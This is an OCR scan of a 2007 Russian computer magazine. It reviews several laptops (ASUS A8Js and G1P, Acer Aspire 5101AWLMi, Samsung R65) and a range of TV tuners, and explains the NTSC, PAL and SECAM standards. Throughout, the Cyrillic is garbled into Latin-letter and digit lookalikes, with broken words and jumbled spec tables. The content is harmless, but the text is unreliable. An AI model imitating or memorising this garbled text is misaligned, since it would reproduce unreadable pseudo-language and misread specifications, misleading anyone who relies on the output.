DVI-D m S-Video. B Ha/iMH mm Taione MMeeTCfl 
KapT-pnAep m AByc/ioMHbiM DVD-RW. 

B 3aKJiK)HeHne Heo6xc>AMMO OTMeimb, 
hto noMMMO MOAe/iM ASUS A8Jp cymecTByeT 
A8Js, MAeHTMHHa^ ev\ bo BceM KpoMe rpac|DM- 
necKOM noACMdeMbi — b 3tom Hoyi6yKe 
Mcno/ib3yeTCfl GeForce Go 7700. B/iaroAapfl 
3HaHMTe/lbHO JiyHLUMM xapaKTepMCTMKaM pe- 
wenm NVIDIA BMAeocMdeMa A8Js HaMHoro 
MOiAHee (b HeKOTopbix npMjioweHMflx — 
6o/iee neM Ha 40%), m npM 3 tom 3Ta MOAe/ib 
MMeeT nyTb 6ojibwee BpeMA aBTOHOMHOM pa- 
6oTbi. l1po6/ieMa b tom, hto ASUS A8Js Ha 
pOCCMMCKMM pbIHOK nOKa He nOCTaBJlfleTCfl, 
m HaMTM ero mo>kho pa3Be hto y «cepbix» 
MMnopTepoB no CM/ibHO 3aBbiweHHOM ueHe. 
TeM He MeHee, ec/iM ASUS A8Js KorAa-Hn6yAb 
oc|)MAMajibHO no5iBMTC5i b Poccmm, to, 6 e3y- 
c/iobho, jiynwe noKynaTb mmchho ero. 




I MOLlJHAfl KOHOMrVPAUM 

m, KaK caeflCTBiie, 

He6ojibiiJoe epeivifl 3 btohomhom pa6oTbi i 


TEXHMHECKME XAPAKTEPMCTMKM 

Mofle/ib 

A8Js 

np 0 M 3 B 0 flmeJlb 

ASUS 

Aflpec b HmepHeie 

www.asus.ru 

Opoueccop 

Intel Core 2 Duo T7200 

naMBTb: mn/odbeM, M6aMT ► 

DDR2-667/2048 

BMfleoaflaniep: MOAenb/ ► 

Mobility Radeon 

naMBTb, M6auT 

XI 700/256 

)KecTKMM amck: MHTepcpeMC/ ► 

SATA/5400/120 

CKOpOCTb BpaiUeHHB, 06 ./MMH./ 


oOteM, rOaiiT 


EMKOCTb 6aTapen, mAh 

4800 

OpMeHTMpoBQHHaB uena, $ ► 

1800 


: Acer Aspire 5101AWLMi 



TEXHMHECKME XAPAKTEPMCTMKM 

MoAe/ib 

► 

Aspire 5101AWLMi 

np 0 M 3 B 0 flMTeJlb 

► 

Acer 

Aflpec b MHTepHeTe 

► 

www.acer.ru 

npoueccop 

► 

AMD Turion MK-36 

naMBTb: Tun/oObeM, M6am" 

► 

DDR2-533/512 

Bufleoaflamep: MOflenb/ 
odbeM naMBTii, M 6 awT 

► 

ATI Mobility Radeon 
XI 300/1 28 

>KecTKMM amck: MHTeptpeMC/ 
CKOpOCTb BpaiAeHMfl, 06./MMH./ 
odbeM, rOaMT 

► 

SATA/5400/120 

EMKOCTb GaTapeM, mAh 

► 

4000 

OpMeHTMpOBOHHaB U 6 Ha, $ 

► 

1000 



■ Acer Aspire 5101AWLMi OT/iMHaeTca ot npo- 
h i/ix paccMaTpMBaeMbix nam MOAe/ieM TeM, hto 
b HeM ncno/ib3yeTC5i npoueccop AMD — AByx- 
rMrareppeBbm Turion MK-36, AOCTaTOHHO 
MOiAHbm OAH05iAepHbm h m n, HeMHoro onepe- 
>KaK)lAMM no npOM3BOAHTe/lbHOCTM Bee HOBbie 
Celeron M m noHTM Bee Pentium M. KpoMe Toro, 
HoyT6yK o6opyAOBaH AHCKpeTHbiM BMAeoaAan- 
TepoM ATI Mobility Radeon X1300. 06-beM 
BCTpoeHHOM naMJITM no CerOAH5UUHMM MepKaM 
HeBe/iMK — 512 M6aPiT, ho ero mo>kho cymecr- 
BeHHO yBe/lMHMTb, AOnO/lHMTe/lbHO yCTaHOBMB 

ABa MOAyJifl DDR2-533. 

HeCMOTpfl Ha TO HTO npOM3BOAMTe/lbHOCTb 
BMAeocMCTeMbi Acer Aspire b HecKO/ibKO pa3 
Bbiiue, neM y HoyT6yKOB c HHTerpi/ipoBaHHOM 
rpac|DMKOM, moiahoctm Radeon X1300 y>Ke abho 
H eAOCTaeT A-n^ HbmeiuHMx Mrp. He cmnb Tpe6o- 
BaTe/ibHOMy k BMAeon/iaTe Aero TaKOM bmago- 
aAanTep noAOMA^T 60/ibwe, OAHaKO atia Vista 
3Aecb Ma/io naMflTM: b more npMAera ncnpa- 
TMTbC5i Ha paciunpeHMe onepaTMBHOM naMATM. 
TeM He MeHee ero CTOMMOCTb c 1 rbaPiT naMATM 
m npeAycTaHOB/ieHHOM Vista Home Premium co- 


craB/meT $1000 — to ecTb cooTHoweHMe peHa/ 
npon3BOAHTe/ibHOCTb OHeHb Hen^oxoe. 

A BOT BpeMeHM aBTOHOMHOM pa60Tbl 51BHO 
HeAOCTaTOHHo: np m MMHMMa/ibHOM 3arpy3Ke 
npoueccopa m BMAeon^aTbi oho cocTaB^^ieT 
okojio AByx nacoB, a npu BocnpoM3BeAeHMM 
BMAeo — Bcero no^Topa. BaTape^ MMeeT He 
caMyra Ma^eHbKyfo eMKOCTb (4000 mAh), npM 
3 tom 3HepronoTpe6/ieHMe aoct3tohho Be/iMKO, 
hto HeraTMBHo CKa3biBaeTC5i Ha TeMnepaTyp- 
hom pe>KMMe pa6oTbi. flpyrMMM c/iOBaMM, HoyT- 
6yK AOCTaTOHHO CM/ibHO rpeera npM CKO/ibKO- 
HM6yAb cymecTBeHHOM Harpy3Ke. 

KanecTBO WXGA-3KpaHa He jam HMKaKMx 
CK)pnpM30B: OHO nO^HOCTbfO COOTBeTCTByeT 
AeHOBOM KaTeropMM. Ha6op MHTepc|)eMcoB 
m nopTOB nyTb ^yniue, neM mo>kho o>KMAaTb 
ot 6fOA>KeTHoro HoyT6yKa: noMMMO 100- 
Mera6MTHoro ceTeBoro nopTa m 802.11 b/g 
npMcyTCTByeT Bluetooth 2.0 + EDR, ecTb ipv\ 
nopTa USB 2.0 m c/iot pacwMpeHMfl PCMCIA II. 

ObiseM BMHHecTepa cocraBjmeT 60 T6aMT; 
HoyT6yK TaK>Ke o6opyAOBaH numyiAMM DVD-RW 
C nOAAep>KKOM AByCJlOMHOM 3anMCM. 
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CpeflHMfi KJiacc: Samsung R65 


■ Hoyi6yK Samsung R65 B/i5ieTC5R Tuni/iH- 
HbiM npeflCTaBMie/ieM cpeflHero K/iacca: 

Ha HeM ydaHOB/ieH flociaTOHHo MoiAHbm 
npoueccop Core Duo T2500 (2 ITu), HMnceT 
i945PM, 1 T6aMT naM/iTM DDR2-533 m amck- 
peTHafl BMAeonjiaia GeForce Go 7600. 3ia 
kom6m HapM5i A^/iaeT Hoyi6yK HaMHoro 6o- 
/iee MOLAHbiM, neM 6fOA>KeTHbie MOAe/iM, ho 
A/ i5i >Ke/iaK)iAMx MrpaTb b HOBbie Mrpbi aioro 
y>Ke HeAOCTaTOHHO. BnponeM, 6/iaroAap5i 
Aero AHCKpeTHa5i BMAeocMCTeMa CTaHOBMTC5i 
npeAMeTOM nepBOM h6o6xoammoctm m b ag- 
/lOBbix Kpyrax, a/ 151 KOTopbix Samsung R65, 
no Been bmammoctm, m npeAHa3HaneH — 
xoT5i CBeT/ia5i OKpacxa ero Kopnyca He c/imu- 
kom xopoiuo yK/iaAbiBaeTC5i b o6pa3 ocJdmc- 
hoto Hoyi6yKa. 

3xpaH Samsung R65 MMeeT AOdaTOHHO 
BbicoKoe pa3pemeHne SXGA+ (1440x900) m 
CTaBwee y>Ke HeciaHAapTHbiM cooTHoweHMe 
CTopoH 16:10. KanecTBO M3o6pa>KeHMfl m 
yr/ibi o63opa mo>kho cnmaTb Bno/iHe yqoB- 
/leTBopme/ibHbiMM; 3cf)c|)eKTHoe r/mHueBoe 
noKpbiTMe, Kax o6biHHo, HpeBaio 6/iMKaMM 
npM CM/lbHOM OCBeiAeHMM. 

KOMMyHMKaAMM M paS^beMbl 5IB/lflK)TC5l 

CM/ibHbiM MecTOM Samsung R65. Oh o6opy- 


AOBaH 100-Mera6mHbiM ceieBbiM nopTOM, 
Wi-Fi, Bluetooth 2.0 + EDR, KapT-pMAepoM, 
MOAeMOM V.92, neTbipbM/i nopiaM h USB 2.0, 
oahmm nopTOM FireWire. B Ha/iMH mm mmciot- 
C5i Aawe COM m IrDA a/ 151 noAK/uoneHi/m cra- 
poro o6opyAOBaHM/i, a TaK>Ke BbixoAbi VGA 
A/i5i BHeiu Hero moh MTopa, S-Video A/i5i noA- 
K/l KDHeH M51 Te/ieBM30pa M S/PDIF — A/151 
BHeiuHeM aKycTMKM. TaKa5i >Ke yHMBepca/ib- 
HOCTb npucyiAa m c/ioiaM pacwMpeHM/i: 
m M eeTC5i KaK PCI Express (54 mm). Tax m 
PCC ard II. B Hoyi6yKe yciaHOB/ieH /kcctkmm 
AMCK SATA oOidCmom 100 r6aMT m CTaBWMM 
CTaHAapTOM DVD-RW-npnBOA c bo3mo>khoc- 

TbK) AByc/ioMHoPi 3anMCM. 

He6o/ibLua5i no eMKoern 6aiape5i (5200 mAh) 
o6ecneHMBaeT cpeAHee BpeM/i 3 btohomhom 
pa6oTbi: Tpn c no/iOBMHOM naca b pe>KMMe 
MaKCMMa/ibHoro 3Heproc6epe>KeHM5i m Aea 
c HeTBepTbfo np m npocMOTpe c|)M/ibMOB c DVD. 

CTOMMOCTb Samsung R65 b onMcaHHOM 
KOHc|DMrypauMM cocTaB/meT oko/io $ 1700, 

OAHaKO MOAMC(DMKaAM51 C MeHee MOlAHbIM 
npoueccopoM, 80-rnra6aMTHbiM BMHHecTe- 
poM, 3KpaHOM c pa3pemeHneM 1024x768 
m BMAeoaAamepoM GeForce Go 7400 o 6 om- 
AeTC5i Bcero b $ 1300. 



1i]1iii;u;iv;i;r: TT/7J MHTeptjieiicoB u pa3i>eM0B, 
c6ajiaHCMpoBaHHaR npon3BOflMTe/ibHOCTb 


TEXHMHECKME XAPAKTEPMCTMKM 

MoAe/ib 

► 

R65 

np0M3B0AMTeJlb 

► 

Samsung 

AApec b MHTepHeie 

► 

www.samsung.ru 

npoueccop 

► 

Core Duo T2500 

naMflTb: Tiin/o6beM, M6aiiT 

► 

DDR2-533/1024 

BnAeoaAamep 

► 

GeForce Go 7600 

>KecTKMM auck: uHTeptpeMc/ 
CKOpOCTb BpameHHfl, o6./mmh./ 
06b6M, FOaUT 


SATA/5400/100 

EMKOCTb 6aTapen, mAh 

► 

5200 

0pM6HTMp0B0HHafl UBHa. $ 

► 

1700 


ArPECCMBHbIM MM 3 AM H, 


MOLAHaa reMMepcxaa 
CMCTeMa, pacujMpeHHaa KOMn/iexTauMa 


TEXHMHECKME XAPAKTEPMCTMKM 


MoAeab 


G1P 


rip0M3B0flMTBJlb 


ASUS 


Aflpec b 1/lHTepHeie 


www.asus.ru 


npoueccop 


Intel Core 2 Duo T7600 


naMflTb: Tnn/o6beM, M6aiiT 


DDR2-667/2048 


BMfleoaAamep: MOAe/ib / 
odbeM naMani, M6airr 


GeForce Go 7700/512 


)KecTKMM auck: m-rreptpeMC/ 
CKopodb BpaiAeHiia, o6./mmh./ 
o6beM, fdaMT 


SATA/5400/160 


EMKOCTb 6aiapen, mAh 


4800 


OpMeHTMpoBQHHaa LJPHa, $ 


3000 


I Floyi6yK ASUS G1P no3MAMOHMpyeTC5i KaK 
MCK/ifonme/ibHO reMMepcKa5i MOAe/ib. Ero 
npoM3BOAme/ibHOCTb b Mrpax HeHaMHOTO 
Bbiiue, neM y 6o/iee yHMBepca/ibHOM MOAe/iM 
A8Jp/A8Js, 3aio AH3aMH m KOMn/ieKTauMfl 

He OCTaB/lflfOT COMHeHMM B TOM, HTO CMCTeMa 
npeAHa3HaneHa A/i5i MO/iOAbix reMMepoB. 

flM3aMH HoyT6yKa G1P Bbino/iHeH b CTM/ie 
XaM-TeK C MHOTOHMC/ieHHblMM arpeCCMBHbIMM 
AeTa/151MM, BCTaBKaMM M3 5ipKOrO MOHOXpOM- 
hoto n/iacTMKa (3e/ieHbm b G1P m KpacHbm 
b G2P) m CBeTOAMOAaMM, KOTopbie 3a>KMrafOT- 
C5i, KorAa HoyT6yK Mcno/ib3yeTC5i A/i5i Mrpbi. 
K/iaBMaTypa TaK>Ke MaKCMMa/ibHO npMcno- 
co6/ieHa A/i5i Mrp: K/iaBMiuM KpynHbie; b ot- 
/lMHMe OT MHOTMX COBpeMeHHbIX MOAe/ieM, 
nacTO Mcno/ib3yeMbiM b Mrpax zieBbiM «Ctrl» 
pacno/io>KeH Ha CBoeM Mecre. Bo/ibiuoM xoa 
K/ iaBMUJ MaKCMMa/lbHO npM6/lM)KeH KTaKOBO- 
Myy HacTO/ibHbix K/iaBMaTyp. 

Fle6o/ibLUOM OLED-AMcn/iePi MO>KeT mc- 
n0/lb30BaTbC51 A/151 BbIBOAa MTHOBeHHblX co- 
o6iAeHMM 6e3 BbixoAa M3 no/iH03KpaHHoro 
pe>KMMa Mrpbi. B KOMn/ieKTe nocTaBKM npM- 


cyTCTByeT OT/iMHHa5i reMMepcKa5i Mbiiiib 
Logitech MX 518 m pioK3aK. rioKpbiTMe HoyT- 
6yKa ycTOMHMBO k uapanMHaM. 

G1P nocTaB/meTC5i c 3KpaHaMM c pa3pe- 
lueHMeM 1280x800 m/im 1680 x 1050 m ot/imh- 
HblMM XapaKTepMCTMKaMM. KOHTpaCTHOCTb, 
5ipKOCTb, yr/ibi o63opa m BpeMa OTK/iMKa 
cnoco6Hbi yAOB/ieTBopMTb caMbix Tpe6oBa- 
Te/ibHbix no/ib30BaTe/ieM. 

FloyT6yK MO>KeT 6biTb ocHaneH Mo6M/ib- 
HbiM npoueccopoM Intel Core 2 Duo T5600, 
T7200, T7400 u/iu T7600, 2 T6aMT onepa- 
TMBHOM naM51TM DDR2-667, BMHHeCTepOM AO 
160 T6aMT m AUCKpeTHbiM BMAeoaAanTepoM 
NVIDIA GeForce Go 7700. MoAe/ib ocHaiAe- 
Ha noHTM BceMM B03MO>KHbiMM MHTepcfieMca- 
mm, BK/iK)Ha5i 802.11 b/g, Bluetooth 2.0 + 
EDR, neTbipe nopTa USB 2.0 m oamh 
FireWire, VGA, DVI, S-Video u S/PDIF. 

FloyT6yK 6bi/i npeACTaB/ieH cpaBHMTe/ib- 
ho HeAaBHO, noaTOMy, k co>Ka/ieH mkd, ero 
CTOMMOCTb nOKa HeM3BeCTHa, HO B HeKOTO- 
pbix ToproBbix TOHKax ero mo>kho hbmtm no 
peHe oko/io $3000. 



I AnPEJlb 2007 


97 







SB3? TEST & TECHNICS 063op TB-TtOHepoB 


Pa3HOCTopoHHee 

BeutaHMe 

Ha pocci/iMCKOM pbiHKe npeflCTaBJieH wnpoKi/m accopTmvieHT TB-TiOHepoB, pa3Jii/naiOLHMX- 
ca KaK no Ti/my noflKJnoHem/m, TaK n npeflOCTaBJineivibiM nonb30BaTejiio bo3mo>k- 
HOCTflM. Mbl paCCMOTpenM BOCeMb MOfleJieM pa3JlMHHblX CfDOpM-CfDaKTOpOB. 


B 3T0M CTaTbe 

flBa BHyipeHHi/ix TB-TfOHepa 
C l/IHTepcjoei/ICOM PCI 

flBa BHewHux TB-TfOHepa 

c HHTepcteHCOM PCMCIA 

flBa BHewHux TB-TfOHepa 
c HHTepcfceHCOM USB 

flBa aBTOHOMHbix TB-TfOHepa 

KpaTKHH 0630P OCHOBHbIX aHa/ioroBbix 
CTaHflapTOB Te/ieBemaHHfl 


TB-TiOHepOB c no^mepacKOH KaK aHajio- 
roBoro CTaH^apTa, TaK h DVB-T. 

Mbi npOBejin o 630 p TiOHepoB, iiocmot- 
pejiH, hto npOH 3 BOAHTejiH roTOBBi npefl- 
JI 03 CHTB noTpeCHTejiiiM, a TaioKe Kjiac- 
CH(jDHu;HpOBajiH pemeHHiT, HMeiomHeca 
Ha pBIHKe. HTaK, moxho bbi^ojihtb 
neTBipe Kjiacca no^oCHBix ycTponcTB: 
KjiaccHHecKHe BHyrpeHHHe TB-TK)HepBi 
PCI, nopTaTHBHBie Mo^ejiH cpopMaTa 
PCMCIA, c HHTepcpeHCOM USB 2.0 h, 
KOHenHO, aBTOHOMHBie annapaTBi, 
KOTOpBie nOAKJHOHaiOTCiT MQlKJiy BHAeO- 
njiaTOH H MOHHTOpOM. 


TB-TK>Hepbi PCI 

He ceKpeT, hto aaHHBih bh r TB -TiOHepoB 
BBjiHeTCiT HaHCojiee pacnpocTpaHeHHBiM. 
OcHOBHoe MecTO ero npHMeHeHHH — 
HaCTOJIBHBie KOMHBIOTepBI . CooTHonieHHe 
HeHa/KanecTBO y TaKnx MO^ejieH Bcema 
HaXOAHTCH Ha BBICOKOM ypOBHe. KpOMe 
TOTO, B COJIBIHHHCTBe n Oao6 H bix yCTpO HCTB 
HMeeTCH FM-npneMHHK. 

Beholder Behold TV M6 Extra 

HoBaii Mo^ejiB TB-TK)Hepa Beholder 
BBinojiHeHa Ha 6a3e annapaTHoro ko#h- 
pOBiijHKa MPEG-2 Philips SAA6752HS. 


n ojiHBiii nepexoA Ha eBponeftcKHH 
CTaH^apT ijHCppOBoro Ha3eMHoro 
TejieBH3HOHHoro BemaHHH DVB-T 
B PoCCHH MOvKHO OaCH^aTB JIHHIB K 

2015 rofly. Bo bchkom cjiynae, TaKOBBi 

np0TH03BI. CB5T3aHO 3TO C OTCyTCTBHeM 
c4)OpMHpOBaBHierOCiT pBIHKa njiaTHBIX 
MyjIBTHMeAHHHBIX yCJiyr H HeOOJIBHIHM 
KOJiHnecTBOM ycTponcTB ajih npHeMa 
LptcppoBoro cnmajia. Be#B b 6 ojibhihhc- 
TBe CBoeM cethrac pacnpocTpaHeHBi am- 
jioroBBie TejieBH30pBi, h rjw npocMOTpa 
LpicppOBoro TB HeodxoAHMa npHCTaBKa 
set-top box hjih HOBaii Mo^ejiB TejieBH- 
30pa c B03M0XH0CTBK) npHeMa OHCppO- 
boto cnrHajia. 

TeM He MeHee b MocKBe, HanpHMep, 
yace Moaoro npHHHMaTB hcckojibko 
H|H(J)pOBBIX KaHaJIOB. H03T0My OTpaflHO, 
HTO nOHBJHHOTCil H MO^eJIH THOpHAHBIX 


COMPRO VIDEOMATE V550 ABJifleTCfl 
TiiniiHHbiM npeflCTaBMTejieivi aBTOHOMHbix 
TB-TH)HepoB. C ero noMombio mojkho 
npociviaTpMBaTb nporpaMMbi flawe 
Ha MOHHTOpe, He llOflKJlIOHeHHOM 
k KOMnbfOTepy. 

YCTPOMCTBO MMeeT npMBJieKaTeJlbHblM 

AH 3 aHH h o 6 jiaflaeT ujmpokmmm 

B 03 M 0 )KH 0 CTHMM llOflKJUOHeHMfl, OflHaKO 
ero CTOiiMOCTb BecbMa Bejiuxa. 
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3tot ran npeflCTaBjieH Ha pbmxe b 
HeCKOJIBKHX BapHaHTaX, B AaHHOM CJiy- 

nae HH^eKC 103 yKa3BiBaeT Ha ncwjep- 

3CKy KOAHpOBaHHH 3Byxa B (})OpMaTe 
AC- 3. 3Ta (J)yHKH;HB noTpedyeTcn TeM, 
kto dyaeT ocymecTBjiHTB BH^ecmxBaT 
c noMombio TB-TiOHepa, He noxynan 
npo(J)eccHOHajiBHBix njiaT. R aHHan 
Moa;ejn> Taxace OTjiHnaeTcn HajiHnneM 
RDS b pexHMe FM-pa^no. B KOMnjieKT 
yCTpOHCTBa BXOAHT BCe HeoGxOAHMOe 
AJin ycneniHOH padoTbi. Hmciotcb cf)yHx- 
ann ynpaBjieHHH nHTaHHeM c nyjiBTa flY 
h nporpaMMHpOBaHHH BpeMeHH bkjho- 
neHHH no pacnncaHHio. Taxace no mte- 
pacHBaiOTCii UJjy Apyrax npOH3BOAHTe- 
jien, npn 3 tom cjieAyeT aKTHBHpOBaTB 
onn;HK) odHOBjieHnn MHKponporpaMMBi 
TB-TiOHepa. M6 Extra 6e3 npodjieM 
dyaeT paGoTaTB b hoboh OC Windows 
Vista, a Taxxe noAOHAeT ajih nojn>30Ba- 
Tejien Windows XP Media Center 
Edition. TaKHM o6pa30M, xoMnaHHH 
Beholder eme pa3 noATBepAHJia, hto 
npOH3BOAHT cdajiaHcnpOBaHHBie n npo- 
AyMaHHBie pemeHnn. 

Compro VideoMate S350 

Compro BBinycTHjia cnyraHxoBbiH TB- 
TioHep c noaaep>KKon cTaHAapTa DVB-S. 

aHHan moacjib Taxace coBMecTHMa c 
HDTV n DiSEqC VI. 2 (nepe^ana noTO- 
KOBoro BH^eo n ijn^pOBan 3annci> b 
MPEG-2), hto odecnennBaeT Hanjiyn- 
mnn TB-npneM DVB-S. KpOMe Toro, 
npe^ycMOTpeHa n bo3mo3choctb 3axBaTa 
aHanoroBBix bhaco- n ayanoflaHHBix, 
AJin 3Toro ycTaHOBjieH 9 -Ohthbih AD,n 
ot KOMnaHHH Philips. Bjiaro^apn Power 
Up Technology njiaTa MO^ceT aBTOMara- 
necKH 3arpy*:aTB onepai^noHHyio cncTe- 
My, ecjin KOMntiOTep BbixjnoneH hjih 
H axoflHTcn b cnnmeM pexnMe. 

BKjnonaTB n Bbix/nonaTb xoMnbiOTep 
MOvKHO c noMombio yaodHoro H^Y, noc- 
TaBjineMoro b xoMiuiexre. Taxace TB- 
TioHep noaaep>KHBaeT mhoto HHTepecHBix 
(J)yHxnHH, Taxnx xax «Timeshift» — npea- 
BapHTejiBHBin npocMOTp KaHajiOB, cyd- 
THTpBi. YiynmeHa noAAepacxa (J)yHxu;HH 
«KapTHHKa-B-KapTHHKe», HTOdbl npo- 
CMaTpHBaTb HecKOJibxnx nepeaan oaho- 
BpeMeHHO (ao nerapex nnc^poBbix xam- 
jiob). npHMenaTejibHO n to, hto TiOHep 
no3BOJineT ycTaHOBHTb tc ji eip a h cjt a n n fo b 
K anecTBe KapTHHxn Padonero CTOJia. 


TB-TiOHepbi PCMCIA 

noaodHbie ycTponcTBa name Bcero 
Hcnojib3yK)Tcn b Hoyrdyxax. Tax xax 
ModnjibHOCTb npOHHKaeT b dojibiHHHC- 
tbo c(J)ep coBpeMeHHon 3CH3HH, MHorne 
nojib30BaTejin yace OTxa3biBaiOTCH ot 
cTaHaapTHbix AecxTonoB. Oanaxo He 
y Bcex BjiaaejibaeB HoyTdyxoB cjiot 
PCMCIA HaxoanT npHMeHeH ne, no- 
3TOMy ycTaHOBHTb b Hero TB -TiOHep 
nBjineTcn BnojiHe jiothhhbim pemeHH- 
eM: (J)yHKu;HOHajibHOCTb Taxnx Moaejien 
HaxoanTcn Ha bbicokom ypOBHe, Tax 
hto o noxynxe ycTponcTBa 3 toto xjiac- 
ca nojib30BaTejib Bpna jih noacajieeT. 

AVerMedia AVer TV Hybrid+FM Cardbus 

flaHHan Moaejib BbinojiHeHa b (J>opMaTe 
PCMCIA, hto nonra oaH03HanHO onpe- 
aejineT c<J)epy ee npHMeHeHHH — Hoyrdy- 


xh. Cjiobo Hybrid b Ha3BaHHH HBjiHeTcn 
xjnoneBbiM h 03HanaeT noAAepacxy aaH- 
hbim TiOHepOM He tojibxo aHajioroBoro, 
ho h u;H(i)pOBoro TejieBHaeHHn CTaHaap- 
Ta DVB-T. PaccMaTpHBaeMyio Moaejib 
Hejib3n Ha3BaTb hoboh, ho BH-djiox 
Xceive XC3018 BMecTe c 9-dHTHbiM aexo- 
aepOM Philips SAA7135HL h aeMoayJiHTO- 
pOM MT352 no-npexHeMy odecnennBaiOT 
ee xoHxypeHTOcnocodHOCTb. Bjiaroaapn 
XC3018, XOTOpblH n03B0JIHeT npHHHMaTb 
xax aHajioroBoe, Tax h an^poBoe TejieBH- 
aeHne, bbi Taxace MoaceTe cjiymaTb paano- 
CTaHaHH FM-anana30Ha. 3anncb npo- 
rpaMM ocymecTBjiHeTcn bo MHO^cecTBO 
$opMaTOB, cpean xoTOpbix MPEG-1, 
MPEG-2, DVD, SVCD h VCD. KpOMe 
toto, npeaycMOTpeHa bo3moxchoctb 
nporpaMMHpOBaHHn TahMepa h njiaHH- 
pOBmnxa aJiH 3anHCH jnodnMbix *4 


AHa/ioroBoe Te^eBiiAeHiie 


Te/ieBM3MOHHoe M3o6pa>KeHMe m 3ByK koam- 
pyfOTCfl b aHa/ioroBbiPi cnrHa/i 6naroaapn 
M3MeHeHMK) aMnnmyAbi m nacTOTbi nepeaa- 
BaeMoro CMrHana. KoMnaHMM, BeiaaioiAMe b 
aHa/ioroBOM cf)opMaTe, ncnonb3yK)T CMCTeMbi 
PAL, NTSC m SECAM, a Rnn nepeaaHM CMrHa- 
na npeAHa3HaneHbi OBH (FHV) — paano- 
HacTOTbi ot 30 ao 300 Mlh m YBH (UHV) — 
nacTOTbi ot 300 MI"a ao 3 rTia. 
npn (J}opMnpoBaHi/ii/i M3o6pa>KeHMn Ha 3K- 
paHe Mcnonb3yeTcn nacTOTa odHOBneHMn 
ot 24 ao 30 Tia. 

✓ NTSC npMMeHneTCfl b CLUA, 5lnoHHM m 
H enoTopbix ApyrMx CTpaHax. CTaHAapT 
NTSC 6bin n p m h HT b 1952 roAy. Oh 3aAaeT 
MeTOA KOAMpOBaHHn MCXOAHOTO CMrHa/ia 

b KOMno3MTHbm BMAOOCi/irHa/i npn noAAO- 
P>KKe 16 M/1H ABeTOB. npn 3T0M KaAP CO- 
ctoi/it M3 525 CTpoK, o6HOBnneMbix c nac- 
TOTOM 30 Tit. npn C03A3HMM K3>KAOrO 
Tanoro xaApa nyn 3/ieKTpoHHOM nyaiKM 
Ae/iaeT Asa npoxoAa no 3KpaHy: CHanana 
no HeneTHbm crpoKaM, noTOM — no neT- 
Hbm (nepeccTpoHHan pa3BepTKa). 
0CHOBHOM HeAOCTaTOK AaHHOTO CTaHAap- 
Ta — HeOAHOpOAHbIM ABeTOBOM TOH Ha 
ynacTKax M3o6pa>KeHMn pa3/iMHHOM np- 
koctm. Cennac nonBnniOTcn HOBbie cne- 
AMc|DMKaAMM Ha ocHOBe NTSC — HanpM- 
Mep, Super NTSC m 16x9 NTSC. 

✓ PAL ABJlfleTCfl OCHOBHbIM Te/ieBM3MOH- 
HbiM CTaHAapTOM b EBpone (m HenoTopbix 
Apyrux CTpaHax MMpa). Ha3BaHMe CTaH- 
AapTa nBnneTcn a66peBMaTypoM ot Phase 
Alternate Line, hto 03HanaeT «nocTpon- 


Hoe M3MeHeHMe cf)a3bi». CTaHAapT PAL 
Mcno/ib3yeT mctoa Ao6aBneHMn ABeTa k 
H epHO-6e/iOMy Te/ieBM3MOHHOMy curHa/iy. 
Ho 3Aecb y>xe M3o6pa>KeHMe coctomt m3 
625 CTpoK npoTMB 525 y NTSC, xoTn nac- 
TOTa o6HOBneHMn 3KpaHa HM>Ke — 25 Ta. 
flaHHbm CTaHAapT c NTSC o6beAMHneT to, 
hto b hmx Mcno/ib3yeTCfl nepeccTpoHHan 
pa3BepTKa. 

0CHOBHOM HeAOCTaTOK — nOBblliieHHOe 
no cpaBHeHMio c ApyrMMM aHa/ioroBbiMM 
CTaHAapTaMM cooTHomeHMe curHa/i/rnyM. 

✓ SECAM Mcno/ib3yeTCfl rnaBHbiM o6pa30M 
B POCCMM M OpaHAMM. Ha3BaHMe npOMCXO- 

AMT ot SEquential Couleur Avec Memoire — 

«CeKBeHCHblM ABeTHOM C naM51TbK)». 
flaHHbm CTaHAapT npeAycMaTpMBaeT pa3/io- 
>xeHMe Te/ieBM3MOHHoro KaApa Ha 625 CTpoK 
npu nacTOTe 50 Ta. Tax xax nacTOTa xaApoB 
M KO/lMHeCTBO CTpOK COOTBeTCTByeT CT3H- 
AapTy PAL, ecTb B03MO>XHOCTb npocMaTpu- 
BaTb BMAeo b (fopMaTe SECAM Ha BMAeon- 
jieepe PAL-CTaHAapTa (m Hao6opoT), ho 

B MOHOXpOMHOM BapMaHTe. 

DiaBHbiM 0T/iMHMeM SECAM ot paccMOTpeH- 
Hbix paHee craHAapTOB nBnneTcn OTcyTC- 
TBMe M3MeHeHMn AaeTOBoro TOHa M3-3a He- 
JlMHeMHOCTM HaCTOTHbIX, aMnnMTyAHbix M 
c(Da30Bbix xapaxTepMCTMK b MexaHM3Me noc- 
TpoeHMn M3o6pa>xeHM5i. BnponeM, cneAC- 
TBMeM npMMeHeHHOM TexHMKM A/ifl pemeHMn 
BbimeHa3BaHHOM npo6neMbi CTa^a bo3mo>x- 
HOCTb nonBneHMn eABa 3aMeTHbix ABeTOBbix 
xoHTypoB Ha pe3KMx nepexoAax TeMHoro m 
CB eTnoro M3o6pa>xeHMM. 
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OTjiMHaeTcn MiiHiiMajibHbiMii radapmaivw w 

CTpOriiM flM3aMH0M 


nporpaMM, a TaioKe HMeeTcn cjiyHKHHH 
«Timeshift», no3BOJiaiomaH OTBjieqbCH Ha 
HeCKOJIBKO MHHyT OT npOCMOTpa, a nOTOM 
npOAOJHKHTB ero c Toro xe MecTa, Ha 
kotopom oh 6biji npepBaH. 

B KOMIUieKT nOCTaBKH BXOflHT nyjibT fly, 
aHTeHHa h Ha6op coeaH h HTeji bH bix Ka6e- 
jien, nooTOMy npo6jieM c noflKjnoueHHeM 
pa3Hoo6pa3HOH ay^HO- h BH^eoTexHHKH 
He B03HHKHeT. 

Beholder Behold TV Columbus 

flaHHBiH TB-TioHep to xe BBjineTCii 
PCMCIA-MOAejiBio, nooTOMy Ha# BHe- 

HIHHM BHAOM pa3pa6oTUHKaM 3aflyMbI- 
BaTBCH He Ha^O, HO BCe paBHO npHHTHO, 
HTO OHM OTBeTCTBeHHO nO^XOAHT K #aH- 
HOMy Bonpocy. BbiCTynaiomaH uacTb #aH- 
hoto THDHepa He 6y#eT CMOTpeTben nyxe- 
po^HO b BarneM Hoyr6yKe — Bee c^ejiaHO 
ojieraHTHO h KpacHBO. Columbus nocT- 
poeH Ha unne Philips SAA7135, KOTOpbiii 
TaKxce ucnojTb3yeTCH h b Behold TV 409 
FM. TaKHM o6pa30M, npOH3BOAHTejib 


npocTO nepeHec yaamioe pemeHHe c PCI 
Ha HHTep(J)eHC PCMCIA, Hcnojib30BaB 
